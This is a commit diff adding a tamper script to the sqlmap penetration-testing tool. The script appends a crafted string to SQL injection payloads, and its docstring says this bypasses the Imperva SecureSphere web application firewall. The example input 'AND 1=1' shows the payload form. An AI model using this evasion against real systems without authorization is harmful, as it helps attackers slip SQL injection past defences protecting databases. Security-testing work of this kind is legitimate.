new tamper script by request

tamper/securesphere.py

@@ -0,0 +1,39 @@
+#!/usr/bin/env python
+
+"""
+$Id$
+
+Copyright (c) 2006-2011 sqlmap developers (http://www.sqlmap.org/)
+See the file 'doc/COPYING' for copying permission
+"""
+
+import re
+
+from lib.core.common import randomRange
+from lib.core.data import kb
+from lib.core.enums import PRIORITY
+
+__priority__ = PRIORITY.NORMAL
+
+def dependencies():
+    pass
+
+def tamper(payload):
+    """
+    Appends special crafted string
+
+    Example:
+        * Input: AND 1=1
+        * Output: AND 1=1 and '0having'='0having'
+
+    Notes:
+        * Useful for bypassing Imperva SecureSphere WAF
+        * Reference: http://seclists.org/fulldisclosure/2011/May/163
+    """
+
+    retVal = payload
+
+    if payload:
+        retVal += " and '0having'='0having'"
+
+    return retVal